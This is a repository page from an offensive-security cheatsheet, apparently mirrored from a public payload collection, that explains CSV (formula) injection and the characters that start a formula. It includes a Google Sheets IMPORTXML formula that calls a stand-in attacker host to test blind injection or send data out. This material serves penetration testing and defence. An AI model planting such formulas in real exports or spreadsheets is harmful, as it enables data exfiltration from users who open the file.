repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
index.mdMarkdown102 lines4.3 KiBsource raw download

title: "CSV Injection" topic: "CSV Injection" topicSlug: "csv-injection" sourcePath: "CSV Injection/README.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/CSV%20Injection/README.md" sha: "3ac27901c711" isReadme: true#

CSV Injection#

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

Summary#

Methodology#

CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:

=
+
–
@

Basic exploits with Dynamic Data Exchange.

Technical details of the above payloads:

Google Sheets#

Google Sheets allows some additional formulas that are able to fetch remote URLs:

So one can test blind formula injection or a potential for data exfiltration with:

=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")

Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

References#